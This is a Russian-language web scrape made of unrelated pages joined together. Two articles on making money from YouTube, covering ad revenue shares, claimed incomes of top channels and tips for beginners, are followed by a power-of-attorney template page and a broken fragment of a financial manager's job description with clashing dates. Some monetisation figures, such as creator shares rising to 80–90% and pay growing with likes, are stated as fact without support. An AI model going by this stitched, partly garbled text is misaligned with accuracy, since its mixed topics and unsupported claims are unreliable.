Если вы занимаетесь оказанием услуг или продаете какой-либо товар, канал – отличный способ рекламировать себя и продукт. Преимущество этого метода очевидно: вы расширяете круг потенциальных покупателей или клиентов, преподносите товар с его лучшей стороны. Кроме этого, при продаже вы получаете всю сумму, не платя комиссии.

Сколько можно заработать

Это, пожалуй, один из самых актуальных вопросов начинающих видеоблогеров. Однозначного ответа здесь нет – все сугубо индивидуально и зависит от множества факторов, которые мы рассмотрели ранее. В самом начале, на стадии запуска канала, сколько-нибудь ощутимого получения дохода не будет – с рекламы и за просмотры (если они есть) может выйти всего 5-20 долларов в месяц. Далее, если канал активно наполняется, правильно продвигается и пользуется популярностью, денежные поступления вырастут. Посмотрим, сколько примерно зарабатывают каналы, находящиеся в топе.

EeOneGuy – молодой парень, который ведет несколько видеоблогов. Его подписчиками являются 14 млн человек, а суммарный доход за все время существования каналов составил более $660 тысяч.

Официальный канал мультипликационного фильма «Маша и Медведь» насчитывает 19 млн подписчиков, а суммарный доход аккаунта от просмотра и рекламы – более $3,2 млн.

Как выводить деньги

Вывод денег с YouTube становится возможным после привязки канала к сервису AdSense и включения монетизации. Чтобы получить доступ к сервису вывода денег нужно перейти в раздел «Творческая студия» > «Канал» > «Монетизация» > «Настройки AdSense». В открывшейся вкладке нужно найти кнопку «Настройки», далее – «Платежи», после нажатия на которую вас переправляют на страницу, где можно вывести деньги на банковский счет, который необходимо предварительно прикрепить в «Способах оплаты».

Минимальная сумма вывода – $100, при этом после осуществления первой транзакции последующие чеки выводятся автоматически при достижении данного лимита.

Заключение

Мы подробно рассмотрели вопрос использования YouTube для заработка, основные нюансы создания и продвижения собственного канала в интернете. Занятие любимым делом – главный залог успеха, ведь деньги Ютуб-канал начнет приносить через определенное время. Поэтому вначале не стоит ожидать головокружительной популярности и бесперебойного денежного потока.

bolshedeneg.net

Как заработать на ютубе

Здравствуйте, уважаемые читатели!

В этой статье мы детально рассмотрим ещё одну хорошую возможность для получения дохода в интернете. Сотни тысяч людей уже делают это. Пора и нам узнать о том, как заработать на ютубе. Обсудим все возможные варианты, включая заработок на ютубе с нуля для новичков. Нажимайте «Узнать больше», читайте и начинайте зарабатывать.

Интернет очень быстро проник в нашу повседневную жизнь. Современные веб-технологии дают много возможностей и для работы и для развлечения. Во всемирной сети сейчас можно найти всё, что душе угодно.

Ютуб уже несколько лет является одним из самых популярных интернет-сервисов. С каждым годом, аудитория этого сервиса растёт в геометрической прогрессии. Так что, на мой взгляд, нужно использовать имеющийся потенциал ютуба для извлечения дохода.

Что такое ютуб

Начну с краткого описания самой системы. Итак, ютуб, а точнее YouTube (от англ. you — «ты» и tube — «телевизор») — это огромный видеохостинг. Другими словами, огромное хранилище видео. При этом, любой человек может просматривать видео, а любой пользователь может записывать или просто сохранять своё видео на ютубе.

Центральный офис YouTube расположен в Калифорнии (нажмите для увеличения)

Сервис очень прост и удобен в использовании. Добавить новый ролик не составит труда даже начинающим пользователям. Причём, люди могут не только загружать и просматривать, но также оценивать и комментировать видео.

Не удивительно, что уже более пяти лет, YouTube является популярнейшим видеохостингом и третьим сайтом в мире по количеству посетителей. Кстати, первые два — это Google и FaceBook. Причём, ютуб принадлежит Google.

В месяц, на сайт YouTube заходит более миллиарда посетителей. Кто-то смотрит забавные ролики, другие просматривают музыкальные клипы, третьи ищут видеоинструкции или обзоры. Чего там сейчас только нет.

На сайте ютуба можно найти даже полнометражные фильмы, не говоря уже о сериалах. При этом, сотрудники видеохостинга очень тщательно подходят к вопросам безопасности и не допускают ролики порнографического или экстремистского характера.

Как заработать на ютубе: введение

За счёт чего же зарабатывает сам видеохостинг? Ответ на этот вопрос очень прост. Грех не воспользоваться такой аудиторией для показа рекламы. И YouTube это и делает.

С одной стороны, в YouTube обращаются рекламодатели, которые готовы платить за показ своих объявлений. С другой стороны, пользователи, которые хотят получить доход, подают заявки на показ рекламных объявлений в своих роликах.

Таким образом, основной доход YouTube получает от рекламодателей. Причём, существенной частью от этого дохода, ютуб делится с теми пользователями, которые согласны показывать рекламу в своих видео. Оплата с ними производится за каждый показ рекламы.

Чем больше раз будет просмотрен ролик, чем интереснее он будет, тем больше будет показано реклам и тем больше заработает автор видео. Тут уже всё в руках пользователей. В наших руках.

Сколько можно заработать на ютубе

Вопрос доходов это один из главных вопросов, который нас интересует. Верно? Проверив огромное количество материалов, я, думаю, что нашёл ответ на этот вопрос.

Самый коммерчески успешный канал в России — Miss Katy (интерактивно)

Люди, видео которых успешнее всего, не охотно делятся информацией о своих доходах. Возможно, не хотят привлекать лишнее внимание налоговых органов, а возможно — просто скромничают.

В конечном итоге, выяснилось вот что. Чем больше просмотров и «лайков» (отметок, что видео понравилось), тем большей долей доходов делится YouTube.

Даже начинающий пользователь сервиса, у которого всего одно видео, может начать зарабатывать. Как это сделать мы обсудим чуть ниже. А пока скажу, что доход новичка будет составлять от нескольких центов до одного доллара.

Если ютуб-канал пользователя становится популярным, то YouTube становится в полтора-два раза щедрее. По-сути, верхняя граница получения доходов не ограничена.

Место в рейтингеНазвание ютуб-каналаТематикаДоход от YouTube за год
1PewDiePieПрохождение видеоигр с комментариями$14 400 000
2HolaSoyGermanПросто видео-дневник$12 900 000
3SmoshКомедийные видеоролики$11 200 000
4RihannaVEVOВидеоклипы певицы Рианны$9 500 000
5KatyPerryVEVOВидеоклипы певицы Кэти Пэрри$4 800 000

От чего зависит заработок на ютубе

Просмотры — это ключевой момент в заработке на видеохостинге. Чем популярнее Ваш канал, тем больше его коммерческий потенциал. Однако, есть и другие факторы, которые влияют на доход от YouTube.

Во-первых — это регион присутствия. Рекламодатели в разных странах готовы платить по-разному. Самые большие заработки у видео-авторов из США и Великобритании. В России-Украине от рекламы можно получить втрое-четверо меньше. В Белоруссии и Казахстане рекламодателей почти нет, а те, что есть, платят совсем не много.

Во-вторых, доходы существенно разнятся в зависимости от тематики канала. Ютуб использует технологии Google. А это очень продвинутые технологии. Система сама определяет тематику видео и старается вставлять рекламу, подходящую по смыслу.

Выгоднее всего зарабатывать на YouTube британцам. Но и в России платят не плохо.

Видео, на котором девушка рассказывает о секретах красоты, скорее всего будет сопровождаться рекламой косметики. На ролике с прохождением игры Вы, наверняка, увидите рекламу другой (а может даже и этой же) игры.

Примерная стоимость тысячи просмотров на ютубе по тематикам для России и Украины:

  • Видеоигры: обзоры, прохождения и «летс плей» — $0,4;
  • Комедийный жанр, шоу, творчество и самодеятельность — $0,3;
  • Личные блоги, видео-дневники — $0,6;
  • Образование, обучение — $1;
  • Финансовая тематика — $2

Забавно, что видеоигры — это одна из самых популярных ниш ютуба. Каналы геймеров быстро собирают большое число просмотров и подписчиков. Но, реклама этой тематики одна из самых низкооплачиваемых.

Итак, просмотры, расположение и тематика. От них зависит наш заработок на ютубе.

Но это ещё не всё. С развитием ютуб-канала, можно получать от YouTube всё большую долю доходов.

Изначально, видео-хостинг будет отдавать нам 55% от денег рекламодателя. Дальше, когда число показов достигнет 100 000 в месяц, можно вступить в партнёрскую сеть YouTube или одного из специализированных агентств. Тогда, мы сможем получать 70%.

Если число просмотров будет расти и дальше — то наша с Вами доля составит уже 80%, а в ряде случаев — и 90%.

Как заработать на ютубе новичку

Для получения доходов, прежде всего, нужно создать аккаунт на YouTube. Это очень просто, думаю, проблем ни у кого не должно возникнуть. А если у Вас уже есть аккаунт в Google, то регистрация, и вовсе, проходит в два клика. Просто нажмите «Войти» в правом верхнем углу видеохостинга.

Далее, добавляем хотя бы одно видео. И монетизацию Вашего ютуб-канала уже можно подключать.

Первым делом нужно включить монетизацию в настройках канала

Администрация YouTube рассмотрит заявку и одобрит её. Обычно, на это уходит несколько часов. После этого, доходы за рекламу уже будут начисляться Вам.

Видите. Это совсем не сложно. Тут главное развивать свой канал, делать интересные видео и набирать базу подписчиков.

Полезные советы начинающим

  • Выберите тему, которая Вам по-душе. Получайте от процесса удовольствие. Загружайте видеосюжеты, которые Вам нравятся. Рассказывайте своим зрителям о том, в чём хорошо разбираетесь. Тогда всё точно получится.
  • Не используйте чьи-то материалы. Ютуб очень плохо относится к использованию чужого контента. За это могут не только отключить монетизацию, но и заблокировать весь ютуб-канал.
  • Не кликайте на свои рекламные объявления. Это называется «накрутка» рекламных кликов и строжайше запрещено правилами YouTube. В качестве санкций может последовать перманентная блокировка монетизации. При этом, все ранее заработанные деньги тоже будут заблокированы.
  • Общайтесь с посетителями Вашего ютуб-канала. Отвечайте на их комментарии. Люди увидят, что Вы открыты к общению и чаще будут подписываться на Ваш канал.
  • Старайтесь обновлять старые видео. Информация на них, порой устаревает. И, посетители будут приятно удивлены, когда увидят, что Вы делитесь самой актуальной информацией.

Как ещё можно заработать на своём ютуб канале

Как только к видео-каналу начинает приходить популярность, можно задействовать дополнительный способ получения дохода. Для этого, нужно выбрать компании, которые могут быть связаны с темой ваших видео и предлагать им сотрудничество.

Пример сотрудничества: Макс «+100500» рекламирует видеоигру HeartStone

К примеру, автор канала о детях может договариваться с производителями игрушек или детской одежды. Такое сотрудничество было бы взаимовыгодно для всех.

Очень многие крупные брэнды готовы напрямую платить за видеообзоры своей продукции. Даже молодой видео-блогер может договориться о такой статье за $30-$50. Ну, а опытные и популярные авторы, заключают рекламные соглашения на несколько порядков дороже.

На первом этапе, договариваться с компаниями придётся самостоятельно. Однако, через какое то время, предложения уже начинают поступать от копаний.

Упорный труд всегда бывает вознаграждён. Поэтому, пробуйте, снимайте видео, выкладывайте их, и у Вас обязательно получится заработать на своём ютуб-канале. Начните свою YouTube-историю прямо сейчас.

Перейти на YouTube

Буду благодарен Вашим вопросам или Вашему мнению по теме в комментариях.

Желаю всем прибыльных инвестиций!

Если эта статья Вам понравилась — сделайте доброе дело

Поставьте «сердечко»

Поделитесь в соцсетях

kinvestor.ru

Рукописная доверенность на представление интересов физического лица – Доверенность от физического лица: образец, бланк, скачать

Доверенность на представление интересов физического лица

На странице представлен образец документа «Доверенность на представление интересов физического лица» с возможностью скачать его в формате doc.

Тип документа: Доверенность

Для того, чтобы сохранить образец этого документа себе на компьютер перейдите по ссылке для скачивания.

Размер файла документа: 22,0 кб

Доверенность на представление интересов физического лица — это документ, который один гражданин передает другому для представления своих интересов перед третьими лицами. Данный документ обычно заполняется в произвольной форме.

Правила заполнения данного документа

Доверенность обычно заполняется доверителем от руки. Она может быть выписана как в одном экземпляре, так и в нескольких, но должна содержать такую информацию:

  • обязательно прописать словами дату составления документа и указать название населенного пункта;
  • полностью от первого лица прописать все личные данные доверителя;
  • указать полные данные уполномоченного представителя;
  • обязательно перечислить все права, которыми доверитель наделяет своего представителя. Это может быть представление интересов в госучреждениях, либо получение каких-либо документов, либо передача прав на вождение автомобилем;
  • обязательно в доверенности указать, наделяет ли доверитель свое доверенное лицо правами передоверия полномочий третьим лицам;
  • в конце ставится подпись доверителя.

Действие данной доверенности не имеет сроков ограничений, только в случае если срок не оговорен в самом документе.

Доверенность в некоторых случаях заверяется нотариально. Так, например, доверенность у нотариуса заверяют лишь в том случае, когда она будет использована для передоверия полномочий третьему лицу. Во всех же остальных случаях доверенность на представление интересов физического лица не требует заверения у нотариуса.

Скачать образец документа

Скачать в .doc

Сохраните этот документ у себя в удобном формате. Это бесплатно.

Обратите внимание! Приведено лишь начало документа. Полную версию вы можете скачать по соответствующей ссылке.

Скачать в .doc

Сохраните этот документ сейчас. Пригодится.

Вы нашли то что искали?

* Нажимая на одну из этих кнопок, Вы помогаете формировать рейтинг полезности документов. Спасибо Вам!

Смежные документы

Документы, которые также Вас могут заинтересовать:

dogovor-obrazets.ru

Образец доверенности физического лица физическому лицу 2019

Задать вопрос эксперту ClubTK

ДОЛЖНОСТНАЯ ИНСТРУКЦИЯ

 

01.03.2009        

 

 

Финансовый менеджер

УТВЕРЖДАЮ

 

Генеральный директор

 

_______________________

 

01.03.2017